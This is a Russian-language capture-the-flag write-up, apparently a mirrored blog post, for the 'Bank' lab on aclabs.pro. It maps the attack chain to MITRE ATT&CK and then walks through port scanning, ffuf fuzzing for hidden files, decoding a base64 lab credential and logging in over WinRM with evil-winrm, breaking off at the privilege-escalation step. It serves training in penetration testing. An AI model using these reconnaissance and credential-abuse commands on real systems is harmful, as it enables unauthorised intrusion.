{"id":495691,"date":"2026-09-23T07:38:24","date_gmt":"2026-09-23T07:38:24","guid":{"rendered":"https:\/\/savepearlharbor.com\/?p=495691"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=495691","title":{"rendered":"Bank \u2014 \u0441\u043b\u043e\u0436\u043d\u0430\u044f \u043c\u0430\u0448\u0438\u043d\u0430 \u043e\u0442 aclabs.pro \u0441\u043e \u0432\u0437\u043b\u043e\u043c\u043e\u043c \u043f\u0438\u043d-\u043a\u043e\u0434\u0430, \u043f\u0438\u0432\u043e\u0442\u0438\u043d\u0433\u043e\u043c \u0438 \u043f\u043e\u0431\u0435\u0433\u043e\u043c \u0438\u0437 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430"},"content":{"rendered":"
\n
\"\u0422\u0430\u0441\u043a<\/p>\n
\u0422\u0430\u0441\u043a \u0411\u0430\u043d\u043a aclabs.pro<\/a><\/figcaption><\/div>\n<\/figure>\n

\u041a\u0440\u0430\u0442\u043a\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435<\/h3>\n

\u0421\u043b\u043e\u0436\u043d\u044b\u0439 \u0442\u0430\u0441\u043a \u0441 6 \u0444\u043b\u0430\u0433\u0430\u043c\u0438 \u0438 2 \u043c\u0430\u0448\u0438\u043d\u0430\u043c\u0438. \u0412 \u043f\u0435\u0440\u0432\u043e\u0439 \u0437\u043e\u043d\u0435 \u0432\u0438\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u0443 \u043d\u0430\u0441 Windows<\/code> \u043c\u0430\u0448\u0438\u043d\u0430 \u0441 \u0432\u0435\u0431\u043e\u043c, \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0434\u043e\u0441\u0442\u0443\u043f \u043f\u043e winrm<\/code> \u0441 \u043f\u0435\u0440\u0432\u044b\u043c \u0444\u043b\u0430\u0433\u043e\u043c. \u0417\u0430\u0442\u0435\u043c \u043d\u0430 \u044d\u0442\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435 \u043f\u043e\u0432\u044b\u0448\u0430\u0435\u043c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 acl<\/code>. \u0414\u0430\u043b\u0435\u0435 \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u0432\u0442\u043e\u0440\u043e\u0439 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441, \u0433\u0434\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u0435\u043c \u0434\u0440\u0443\u0433\u043e\u0439 \u0445\u043e\u0441\u0442 \u0443\u0436\u0435 \u0441 linux<\/code> \u043d\u0430 \u0431\u043e\u0440\u0442\u0443. \u0412\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u043c \u0435\u0449\u0435 \u043e\u0434\u0438\u043d \u0432\u0435\u0431, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u0434\u043e\u0431\u0440\u0430\u0442\u044c \u043f\u0438\u043d-\u043a\u043e\u0434 (\u0442\u0440\u0435\u0442\u0438\u0439 \u0444\u043b\u0430\u0433).<\/p>\n

\u041f\u043e\u0441\u043b\u0435 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u044f \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0449\u0430 \u043d\u0430\u0441 \u0436\u0434\u0435\u0442 \u043d\u043e\u0432\u044b\u0439 \u043f\u043e\u0440\u0442, \u043f\u0440\u0438 \u043f\u0435\u0440\u0432\u043e\u043c \u0441\u043a\u0430\u043d\u0435, \u043e\u043d \u0431\u044b\u043b \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d. \u041f\u0440\u043e\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0443, \u0432 \u043a\u043e\u0440\u043d\u0435 \u043b\u0435\u0436\u0438\u0442 4 \u0444\u043b\u0430\u0433. \u0414\u0430\u043b\u0435\u0435 \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u043a\u0430\u0441\u0442\u043e\u043c\u043d\u044b\u0439 \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a, \u0435\u0433\u043e \u043f\u0440\u0438\u0434\u0435\u0442\u0441\u044f \u0440\u0430\u0437\u0440\u0435\u0432\u0435\u0440\u0441\u0438\u0442\u044c, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043d\u044f\u0442\u044c, \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043e\u043d \u0434\u0435\u043b\u0430\u0435\u0442, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0444\u0430\u0439\u043b etc\/shadow<\/code>. \u0418\u0437 \u043d\u0435\u0433\u043e \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0445\u044d\u0448 \u0440\u0443\u0442\u0430 \u0438 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043c\u0441\u044f \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0435\u043c \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 (5 \u0444\u043b\u0430\u0433).<\/p>\n

\u0412 \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043c \u0444\u0430\u0439\u043b \/var\/run\/docker.sock<\/code>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u0443\u0434\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u043d\u0430 \u0437\u0430\u043f\u0438\u0441\u044c \u0438 \u0441\u043c\u043e\u0436\u0435\u043c \u043f\u0440\u0438\u043c\u043e\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0445\u043e\u0441\u0442\u043e\u0432\u0443\u044e \u0444\u0430\u0439\u043b\u043e\u0432\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0438 \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u0444\u043b\u0430\u0433 \u0440\u0443\u0442\u0430 \u043d\u0430 \u0445\u043e\u0441\u0442\u0435.<\/p>\n\n

\u041c\u0430\u043f\u043f\u0438\u043d\u0433 MITRE ATT&CK<\/h3>\n

\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u043c\u0430\u0442\u0440\u0438\u0446\u0430 \u043e\u0442 Positive Technologies<\/a>.<\/p>\n

\n
\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
\n

\u0424\u0430\u0437\u0430<\/p>\n<\/th>\n

\n

\u0422\u0430\u043a\u0442\u0438\u043a\u0430<\/p>\n<\/th>\n

\n

\u0422\u0435\u0445\u043d\u0438\u043a\u0430<\/p>\n<\/th>\n

\n

ID<\/p>\n<\/th>\n<\/tr>\n

\n

\u0421\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u0440\u0442\u043e\u0432<\/p>\n<\/td>\n

\n

\u0418\u0437\u0443\u0447\u0435\u043d\u0438\u0435<\/a><\/p>\n<\/td>\n

\n

\u0418\u0437\u0443\u0447\u0435\u043d\u0438\u0435 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0441\u043b\u0443\u0436\u0431<\/a><\/p>\n<\/td>\n

\n

T1046<\/code><\/p>\n<\/td>\n<\/tr>\n

\n

\u041f\u043e\u0438\u0441\u043a \u0441\u043a\u0440\u044b\u0442\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u0432 \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u043c \u043a\u043e\u0434\u0435<\/p>\n<\/td>\n

\n

\u0420\u0430\u0437\u0432\u0435\u0434\u043a\u0430<\/a><\/p>\n<\/td>\n

\n

\u0410\u043a\u0442\u0438\u0432\u043d\u043e\u0435 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435: \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439<\/a><\/p>\n<\/td>\n

\n

T1595.002<\/code><\/p>\n<\/td>\n<\/tr>\n

\n

\u0423\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 Base64 \u0432 \u0441\u043a\u0440\u0438\u043f\u0442\u0435<\/p>\n<\/td>\n

\n

\u041f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445<\/a><\/p>\n<\/td>\n

\n

\u041d\u0435\u0437\u0430\u0449\u0438\u0449\u0451\u043d\u043d\u044b\u0435 \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435: \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 \u0444\u0430\u0439\u043b\u0430\u0445<\/a><\/p>\n<\/td>\n

\n

T1552.001<\/code><\/p>\n<\/td>\n<\/tr>\n

\n

\u0423\u0434\u0430\u043b\u0451\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u0447\u0435\u0440\u0435\u0437 WinRM<\/p>\n<\/td>\n

\n

\u041f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u0435 \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0430<\/a><\/p>\n<\/td>\n

\n

\u0421\u043b\u0443\u0436\u0431\u044b \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430: WinRM<\/a><\/p>\n<\/td>\n

\n

T1021.006<\/code><\/p>\n<\/td>\n<\/tr>\n

\n

\u0417\u043b\u043e\u0443\u043f\u043e\u0442\u0440\u0435\u0431\u043b\u0435\u043d\u0438\u0435 ACL (GenericWrite)<\/p>\n<\/td>\n

\n

\u0417\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u0435<\/a><\/p>\n<\/td>\n

\n

\u041c\u0430\u043d\u0438\u043f\u0443\u043b\u044f\u0446\u0438\u0438 \u0441 \u0443\u0447\u0451\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u044c\u044e<\/a><\/p>\n<\/td>\n

\n

T1098<\/code><\/p>\n<\/td>\n<\/tr>\n

\n

\u0421\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u0441\u0435\u0442\u0438<\/p>\n<\/td>\n

\n

\u0418\u0437\u0443\u0447\u0435\u043d\u0438\u0435<\/a><\/p>\n<\/td>\n

\n

\u0418\u0437\u0443\u0447\u0435\u043d\u0438\u0435 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c<\/a><\/p>\n<\/td>\n

\n

T1018<\/code><\/p>\n<\/td>\n<\/tr>\n

\n

\u041f\u0435\u0440\u0435\u0431\u043e\u0440 HMAC PIN-\u043a\u043e\u0434\u0430<\/p>\n<\/td>\n

\n

\u041f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445<\/a><\/p>\n<\/td>\n

\n

\u041c\u0435\u0442\u043e\u0434 \u043f\u0435\u0440\u0435\u0431\u043e\u0440\u0430: \u0432\u0437\u043b\u043e\u043c \u043f\u0430\u0440\u043e\u043b\u0435\u0439<\/a><\/p>\n<\/td>\n

\n

T1110.002<\/code><\/p>\n<\/td>\n<\/tr>\n

\n

\u0411\u044d\u043a\u0434\u043e\u0440 \u0432 ProFTPD (pre-auth)<\/p>\n<\/td>\n

\n

\u041f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f<\/a><\/p>\n<\/td>\n

\n

\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u0432 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u043c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438<\/a><\/p>\n<\/td>\n

\n

T1190<\/code><\/p>\n<\/td>\n<\/tr>\n

\n

PostgreSQL COPY FROM PROGRAM<\/p>\n<\/td>\n

\n

\u0412\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435<\/a><\/p>\n<\/td>\n

\n

\u0418\u043d\u0442\u0435\u0440\u043f\u0440\u0435\u0442\u0430\u0442\u043e\u0440\u044b \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 \u0438 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0435\u0432: Unix Shell<\/a><\/p>\n<\/td>\n

\n

T1059.004<\/code><\/p>\n<\/td>\n<\/tr>\n

\n

\u0417\u043b\u043e\u0443\u043f\u043e\u0442\u0440\u0435\u0431\u043b\u0435\u043d\u0438\u0435 SUID-\u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a\u043e\u043c<\/p>\n<\/td>\n

\n

\u041f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439<\/a><\/p>\n<\/td>\n

\n

\u041e\u0431\u0445\u043e\u0434 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u0432 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439: Setuid \u0438 Setgid<\/a><\/p>\n<\/td>\n

\n

T1548.001<\/code><\/p>\n<\/td>\n<\/tr>\n

\n

\u0414\u043e\u0441\u0442\u0443\u043f \u043a \/etc\/shadow<\/p>\n<\/td>\n

\n

\u041f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445<\/a><\/p>\n<\/td>\n

\n

\u0421\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0444\u0430\u0439\u043b\u043e\u0432 \/etc\/passwd \u0438 \/etc\/shadow<\/a><\/p>\n<\/td>\n

\n

T1110.002<\/code><\/p>\n<\/td>\n<\/tr>\n

\n

\u041f\u043e\u0431\u0435\u0433 \u0438\u0437 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 \u0447\u0435\u0440\u0435\u0437 Docker socket<\/p>\n<\/td>\n

\n

\u041f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439<\/a><\/p>\n<\/td>\n

\n

\u0412\u044b\u0445\u043e\u0434 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430<\/a><\/p>\n<\/td>\n

\n

T1611<\/code><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n\n

\u0420\u0430\u0437\u0432\u0435\u0434\u043a\u0430<\/h3>\n

\u041f\u0435\u0440\u0432\u0438\u0447\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u0446\u0435\u043b\u0438, \u0441\u0431\u043e\u0440 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438.<\/p>\n

sudo nmap -sC -sV -v 10.10.10.211 -Pn...PORT     STATE SERVICE       VERSION53\/tcp   open  domain        Simple DNS Plus80\/tcp   open  http          Microsoft IIS httpd 10.088\/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-06-29 08:02:26Z)135\/tcp  open  msrpc         Microsoft Windows RPC139\/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn389\/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: bank.acl, Site: Default-First-Site-Name)445\/tcp  open  microsoft-ds?464\/tcp  open  kpasswd5?593\/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0636\/tcp  open  tcpwrapped3268\/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: bank.acl, Site: Default-First-Site-Name)3269\/tcp open  tcpwrapped5357\/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP\/UPnP)5985\/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP\/UPnP)<\/code>
<\/a><\/div><\/pre>\n
\u0423 \u043d\u0430\u0441 \u043c\u043d\u043e\u0433\u043e \u043f\u043e\u0440\u0442\u043e\u0432, \u0442\u0438\u043f\u0438\u0447\u043d\u044b\u0435 \u0434\u043b\u044f windows domain controller + \u0432\u0435\u0431 \u043d\u0430 80 \u043f\u043e\u0440\u0442\u0443. \u0421\u0440\u0430\u0437\u0443 \u0438\u043c\u0435\u0435\u0442 \u0441\u043c\u044b\u0441\u043b \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0441\u0430\u0439\u0442.<\/p>\n
\u041d\u0430 \u0432\u0445\u043e\u0434\u0435 \u043d\u0430\u0441 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u0442 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a \u0431\u0430\u043d\u043a\u0430 \u041a\u043e\u0442\u043e\u0444\u0435\u0439 \u0428\u0435\u0440\u0441\u0442\u044f\u043d\u043e\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0437\u0430 \u0435\u0434\u0443\u2026<\/p>\n
\"\u0412\u0435\u0431-\u0441\u0430\u0439\u0442<\/p>\n
\u0412\u0435\u0431-\u0441\u0430\u0439\u0442 \u0431\u0430\u043d\u043a\u0430<\/figcaption><\/div>\n<\/figure>\n
\u0414\u0430\u043d\u043d\u0430\u044f \u0438\u043d\u0444\u0430 \u043d\u0435 \u043e\u0441\u043e\u0431\u043e \u043f\u043e\u043c\u043e\u0436\u0435\u0442, \u0432 \u043f\u0440\u043e\u0434\u0432\u0438\u0436\u0435\u043d\u0438\u0438, \u043d\u043e \u044e\u043c\u043e\u0440 \u043c\u043d\u0435 \u043d\u0440\u0430\u0432\u0438\u0442\u0441\u044f.<\/p>\n
\u0412\u0437\u0433\u043b\u044f\u043d\u0435\u043c \u043d\u0430 \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u0438 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u0438 \u0443\u0432\u0438\u0434\u0438\u043c \u043f\u043e\u0434\u0441\u043a\u0430\u0437\u043a\u0443.<\/p>\n
\"\u0418\u0441\u0445\u043e\u0434\u043d\u044b\u0439<\/p>\n
\u0418\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434 \u0441\u0430\u0439\u0442\u0430<\/figcaption><\/div>\n<\/figure>\n
\u0423 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 devops.php, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0441\u0442\u043e\u0438\u0442 \u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0438\u0437\u0443\u0447\u0438\u0442\u044c. <\/p>\n
\"\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430<\/p>\n
\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 devops.php<\/figcaption><\/div>\n<\/figure>\n
\u0417\u0434\u0435\u0441\u044c \u0435\u0441\u0442\u044c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0434\u0441\u043a\u0430\u0437\u043e\u043a, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0430\u0442\u043e\u043b\u043a\u043d\u0443\u0442 \u043d\u0430 \u043d\u0443\u0436\u043d\u044b\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 \u0430\u0442\u0430\u043a\u0438. \u0418\u0437 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u0447\u0442\u043e \u0435\u0441\u0442\u044c \u043f\u0430\u043f\u043a\u0430 employes<\/code>, \u0438 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u043e\u0432 \u043b\u0435\u0436\u0430\u0442 \u0442\u0430\u043c, \u043d\u043e \u0441\u043a\u0440\u044b\u0442\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0435 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u044e\u0442\u0441\u044f, \u043e\u0434\u043d\u0430\u043a\u043e \u044d\u0442\u043e \u043d\u0435 \u0437\u043d\u0430\u0447\u0438\u0442, \u0447\u0442\u043e \u0438\u0445 \u0442\u0430\u043c \u043d\u0435\u0442. \u041e\u043d\u0438 \u043f\u0440\u043e\u0441\u0442\u043e \u043d\u0435 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u044e\u0442\u0441\u044f, \u043d\u043e \u0441\u0447\u0435\u0442\u0447\u0438\u043a \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0443\u0432\u0435\u043b\u0438\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f.<\/p>\n
\u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u0430\u0440\u044f\u0436\u0430\u0435\u043c ffuf<\/code>.<\/p>\n\n
\u0424\u0430\u0437\u0437\u0438\u043d\u0433 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0439 \u0438 \u0441\u043a\u0440\u044b\u0442\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432<\/h3>\n
\u041a\u043e\u043c\u0430\u043d\u0434\u0430 \u0437\u0434\u0435\u0441\u044c \u0431\u0443\u0434\u0435\u0442 \u043e\u0431\u044b\u0447\u043d\u0430\u044f, \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043e\u0431\u0430\u0432\u0438\u043c .<\/code> \u043f\u0435\u0440\u0435\u0434 \u0441\u043b\u043e\u0432\u043e\u043c FUZZ, \u0438 \u0443\u043a\u0430\u0436\u0435\u043c \u0442\u0438\u043f \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432 .txt.<\/p>\n
ffuf -u http:\/\/10.10.10.211\/employees\/.FUZZ -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -ic -c  -e .txt        \/'___\\  \/'___\\           \/'___\\              \/\\ \\__\/ \/\\ \\__\/  __  __  \/\\ \\__\/              \\ \\ ,__\\\\ \\ ,__\\\/\\ \\\/\\ \\ \\ \\ ,__\\              \\ \\ \\_\/ \\ \\ \\_\/\\ \\ \\_\\ \\ \\ \\ \\_\/               \\ \\_\\   \\ \\_\\  \\ \\____\/  \\ \\_\\                 \\\/_\/    \\\/_\/   \\\/___\/    \\\/_\/              v2.1.0-dev________________________________________________ :: Method           : GET :: URL              : http:\/\/10.10.10.211\/employees\/.FUZZ :: Wordlist         : FUZZ: \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt :: Extensions       : .txt  :: Follow redirects : false :: Calibration      : false :: Timeout          : 10 :: Threads          : 40 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500________________________________________________                        [Status: 403, Size: 1233, Words: 73, Lines: 30, Duration: 98ms]script.txt              [Status: 200, Size: 3159, Words: 355, Lines: 84, Duration: 87ms]<\/code>
<\/a><\/div><\/pre>\n
\u041f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0441\u0440\u0430\u0437\u0443 \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u0441\u043a\u0440\u044b\u0442\u044b\u0439 \u0444\u0430\u0439\u043b script.txt<\/code>.<\/p>\n
\u0415\u0441\u043b\u0438 \u043e\u0442\u043a\u0440\u043e\u0435\u043c \u0434\u0430\u043d\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435, \u0442\u043e \u043a\u0438\u0440\u0438\u043b\u043b\u0438\u0446\u0430 \u0431\u0443\u0434\u0435\u0442 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u0442\u044c\u0441\u044f, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u044f \u043e\u0442\u043a\u0440\u044b\u043b \u0444\u0430\u0439\u043b \u0447\u0435\u0440\u0435\u0437 curl<\/code>.<\/p>\n
\"alt<\/p>\n
alt text<\/figcaption><\/div>\n<\/figure>\n
\u0417\u0434\u0435\u0441\u044c \u043c\u0435\u043d\u044f \u0437\u0430\u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043e\u0432\u0430\u043b\u0430 \u0441\u0442\u0440\u043e\u043a\u0430 encoded_credentials<\/code>, \u043e\u0447\u0435\u043d\u044c \u043f\u043e\u0445\u043e\u0436\u0435, \u0447\u0442\u043e \u043e\u043d\u0430 \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0432 base64<\/code>. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u043c \u0442\u0435\u043e\u0440\u0438\u044e.<\/p>\n
echo 'd2ViLXNydiA6IEZoM296RmFHM3lMeWhOIXA=' | base64 -d                                    web-srv : Fh3ozFaG3yLyhN!p <\/code>
<\/a><\/div><\/pre>\n
\u041d\u0443\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c, \u0432\u0430\u043b\u0438\u0434\u043d\u044b\u0435 \u043b\u0438 \u043a\u0440\u0435\u0434\u044b \u043e\u0442 winrm<\/code>.<\/p>\n
nxc winrm 10.10.10.211 -u web-srv -p 'Fh3ozFaG3yLyhN!p'WINRM       10.10.10.211    5985   WIN-TSQ2V8LHSN5  [*] Windows Server 2022 Build 20348 (name:WIN-TSQ2V8LHSN5) (domain:bank.acl) WINRM       10.10.10.211    5985   WIN-TSQ2V8LHSN5  [+] bank.acl\\web-srv:Fh3ozFaG3yLyhN!p (Pwn3d!)<\/code>
<\/a><\/div><\/pre>\n
\u0412\u0438\u0434\u0438\u043c \u043f\u043b\u0430\u0448\u043a\u0443 (Pwn3d!)<\/code>, \u0430 \u0437\u043d\u0430\u0447\u0438\u0442 \u0441\u043f\u043e\u043a\u043e\u0439\u043d\u043e \u043c\u043e\u0436\u0435\u043c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0442\u044c\u0441\u044f \u0447\u0435\u0440\u0435\u0437 evil-winrm<\/code>.<\/p>\n\n
\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0438 \u043f\u0435\u0440\u0432\u044b\u0439 \u0444\u043b\u0430\u0433<\/h3>\n
\u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u043c\u0441\u044f, \u0431\u0435\u0440\u0435\u043c \u043f\u0435\u0440\u0432\u044b\u0439 \u0444\u043b\u0430\u0433 \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u0441\u0442\u043e\u043b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f web-srv<\/code>.<\/p>\n
evil-winrm -i 10.10.10.211 -u 'web-srv' -p 'Fh3ozFaG3yLyhN!p'<\/code>
<\/a><\/div><\/pre>\n
\u041f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0438 \u0432\u0442\u043e\u0440\u043e\u0439 \u0444\u043b\u0430\u0433<\/h3>\n
